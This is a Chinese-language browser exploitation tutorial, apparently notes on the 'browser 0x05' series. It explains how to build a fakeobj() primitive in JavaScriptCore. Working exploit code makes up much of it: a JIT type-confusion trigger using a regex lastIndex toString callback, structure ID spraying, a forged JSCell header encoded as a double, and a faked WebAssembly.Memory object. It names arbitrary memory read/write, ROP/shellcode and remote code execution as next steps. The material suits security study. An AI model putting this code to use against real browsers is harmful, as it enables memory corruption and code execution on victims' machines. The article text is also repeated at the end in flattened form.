The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption - browser 0x05
字数 964 2025-08-05 08:20:09

FakeObj原语:将地址泄漏转化为内存破坏

1. 背景知识

1.1 JavaScript对象内存布局

JavaScript对象在内存中的存储格式:

  • JSCell头部:包含标志和结构ID
  • Butterfly结构:用于存储数组元素和动态属性
  • 内联属性:对象的前几个属性直接存储在对象内存中

JSValues的存储格式:

Pointer {
  0000 : PPPP : PPPP : PPPP
  0001 :* Double { ... }
  FFFE :* Integer {
  FFFF : 0000 : IIII : IIII

1.2 Addrof原语回顾

Addrof原语允许泄漏JavaScript对象的地址,通过:

  1. 将对象指针作为双精度浮点数读取
  2. 利用类型混淆漏洞获取原始内存地址

2. FakeObj原语实现

2.1 基本概念

FakeObj原语是Addrof的反向操作:

  • 将双精度浮点数解释为对象指针
  • 允许伪造JavaScript对象的内存结构

2.2 代码实现

function fakeobj(dbl) {
    var array = [13.37];
    var reg = /abc/y;
    
    var AddrSetter = function(array) {
        "abc".match(reg);
        array[0] = dbl;
    }
    
    // 强制优化
    for(var i = 0; i < 100000; ++i) AddrSetter(array);
    
    // 设置漏洞触发条件
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = {};
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    
    // 执行
    AddrSetter(array);
    return array[0];
}

2.3 工作原理

  1. 创建一个存放双精度浮点数的数组
  2. JIT代码将指定双精度数写入数组第一个元素
  3. 通过toString函数触发漏洞
  4. 引擎将数组转换为连续内存空间数组
  5. JIT代码覆盖原始指针
  6. 将双精度数解释为对象指针返回

3. 伪造对象实战

3.1 基本对象伪造

  1. 创建测试对象并添加属性:
test = {}
test.x = 1
  1. 内存布局示例:
0x62d0000d4080: 0x0100160000000126  // JSCell头部
0x62d0000d4088: 0x0000000000000000  // Butterfly
0x62d0000d4090: 0xffff000000000001  // 内联属性x=1

3.2 结构ID喷射

通过大量创建对象来猜测有效结构ID:

for(var i = 0; i < 0x1000; i++) {
    test = {}
    test.x = 1
    test['prop_' + i] = 2
}

3.3 构造伪造对象

  1. 创建伪造对象框架:
fake = {}
fake.a = 7.082855106403439e-304  // 伪造的JSCell头部
fake.b = 2
fake.c = 1337  // 伪造的属性值
delete fake.b  // 清空butterfly为0
  1. 内存布局:
0x62d0000d40c0: 0x0100160000000129  // 原始对象头部
0x62d0000d40c8: 0x0000000000000000  // Butterfly
0x62d0000d40d0: 0x0100160000001000  // 伪造的JSCell头部
0x62d0000d40d8: 0x0000000000000000  // 伪造的Butterfly
0x62d0000d40e0: 0xffff000000000539  // 伪造的属性(1337)

3.4 双精度浮点数的NaN编码

JavaScript引擎会对双精度值加上0x1000000000000进行编码,因此构造时需要减去这个值:

import struct
struct.unpack("d", struct.pack("Q", 0x0100160000001000 - 0x1000000000000))

4. 高级利用技术

4.1 Linus的解决方案

  1. 喷射大量Float64Array:
var structs = [];
for(var i = 0; i < 0x5000; i++) {
    var a = new Float64Array(1);
    a['prop' + i] = 1337;
    structs.push(a);
}
  1. 喷射少量WebAssembly.Memory对象:
for(var i = 0; i < 50; i++) {
    var a = new WebAssembly.Memory({initial: 0});
    a['prop' + i] = 1337;
    structs.push(a);
}
  1. 构造伪造的JSCell头部:
var jsCellHeader = new Int64([
    0x00, 0x50, 0x00, 0x00,  // m_structureID
    0x0,                     // m_indexingType
    0x2c,                    // m_type
    0x08,                    // m_flags
    0x1                      // m_cellState
]);
  1. 创建wasmBuffer对象:
var wasmBuffer = {
    jsCellHeader: jsCellHeader.asJSValue(),
    butterfly: null,
    vector: null,
    memory: null,
    deleteMe: null
};
delete wasmBuffer.butterfly;  // 清空butterfly
  1. 获取并修改伪造对象:
var wasmBufferRawAddr = addrof(wasmBuffer);
var wasmBufferAddr = Add(Int64.fromDouble(wasmBufferRawAddr), 16);
var fakeWasmBuffer = fakeobj(wasmBufferAddr.asDouble());

// 遍历结构ID直到匹配WebAssembly.Memory
while(!(fakeWasmBuffer instanceof WebAssembly.Memory)) {
    jsCellHeader.assignAdd(jsCellHeader, Int64.One);
    wasmBuffer.jsCellHeader = jsCellHeader.asJSValue();
}

5. 关键点总结

  1. 类型混淆:利用JIT优化和动态类型系统的差异
  2. 内存布局控制:通过精心构造的对象控制内存布局
  3. 结构ID喷射:通过大量创建对象预测有效结构ID
  4. NaN编码处理:正确处理JavaScript的双精度浮点数编码
  5. 对象伪造:通过重叠内存区域伪造特定类型的对象

6. 后续利用方向

  1. 通过伪造的WebAssembly.Memory对象实现任意内存读写
  2. 构造ROP链或注入shellcode
  3. 绕过现代浏览器的安全防护机制(如CFI、DEP等)
  4. 实现稳定的远程代码执行
FakeObj原语:将地址泄漏转化为内存破坏 1. 背景知识 1.1 JavaScript对象内存布局 JavaScript对象在内存中的存储格式: JSCell头部 :包含标志和结构ID Butterfly结构 :用于存储数组元素和动态属性 内联属性 :对象的前几个属性直接存储在对象内存中 JSValues的存储格式: 1.2 Addrof原语回顾 Addrof原语允许泄漏JavaScript对象的地址,通过: 将对象指针作为双精度浮点数读取 利用类型混淆漏洞获取原始内存地址 2. FakeObj原语实现 2.1 基本概念 FakeObj原语是Addrof的反向操作: 将双精度浮点数解释为对象指针 允许伪造JavaScript对象的内存结构 2.2 代码实现 2.3 工作原理 创建一个存放双精度浮点数的数组 JIT代码将指定双精度数写入数组第一个元素 通过toString函数触发漏洞 引擎将数组转换为连续内存空间数组 JIT代码覆盖原始指针 将双精度数解释为对象指针返回 3. 伪造对象实战 3.1 基本对象伪造 创建测试对象并添加属性: 内存布局示例: 3.2 结构ID喷射 通过大量创建对象来猜测有效结构ID: 3.3 构造伪造对象 创建伪造对象框架: 内存布局: 3.4 双精度浮点数的NaN编码 JavaScript引擎会对双精度值加上0x1000000000000进行编码,因此构造时需要减去这个值: 4. 高级利用技术 4.1 Linus的解决方案 喷射大量Float64Array: 喷射少量WebAssembly.Memory对象: 构造伪造的JSCell头部: 创建wasmBuffer对象: 获取并修改伪造对象: 5. 关键点总结 类型混淆 :利用JIT优化和动态类型系统的差异 内存布局控制 :通过精心构造的对象控制内存布局 结构ID喷射 :通过大量创建对象预测有效结构ID NaN编码处理 :正确处理JavaScript的双精度浮点数编码 对象伪造 :通过重叠内存区域伪造特定类型的对象 6. 后续利用方向 通过伪造的WebAssembly.Memory对象实现任意内存读写 构造ROP链或注入shellcode 绕过现代浏览器的安全防护机制(如CFI、DEP等) 实现稳定的远程代码执行